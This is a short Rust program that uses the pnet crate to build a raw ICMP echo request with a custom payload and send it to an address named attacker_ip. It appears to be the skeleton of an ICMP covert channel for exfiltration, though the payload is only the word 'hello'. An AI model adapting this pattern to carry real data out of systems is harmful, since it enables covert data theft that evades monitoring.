use pnet::packet::icmp::{IcmpPacket, IcmpTypes, checksum}; use pnet::packet::icmp::echo_request::MutableEchoRequestPacket; use pnet::packet::{Packet}; use pnet::transport::{transport_channel, TransportChannelType, TransportProtocol}; use pnet::packet::ip::IpNextHeaderProtocols; use std::net::IpAddr; fn main() { let attacker_ip: IpAddr = "192.168.1.86".parse().unwrap(); let protocol = TransportChannelType::Layer4(TransportProtocol::Ipv4(IpNextHeaderProtocols::Icmp)); let (mut tx, _) = transport_channel(1024, protocol).expect("Failed to open channel"); let mut buffer = [0u8; 64]; let mut packet = MutableEchoRequestPacket::new(&mut buffer).unwrap(); packet.set_icmp_type(IcmpTypes::EchoRequest); packet.set_identifier(1234); packet.set_sequence_number(1); let payload = b"hello"; packet.set_payload(payload); let icmp_packet = IcmpPacket::new(packet.packet()).unwrap(); let chksum = checksum(&icmp_packet); packet.set_checksum(chksum); match tx.send_to(packet, attacker_ip) { Ok(_) => println!("Packet sent"), Err(e) => eprintln!("Send failed: {:?}", e), } }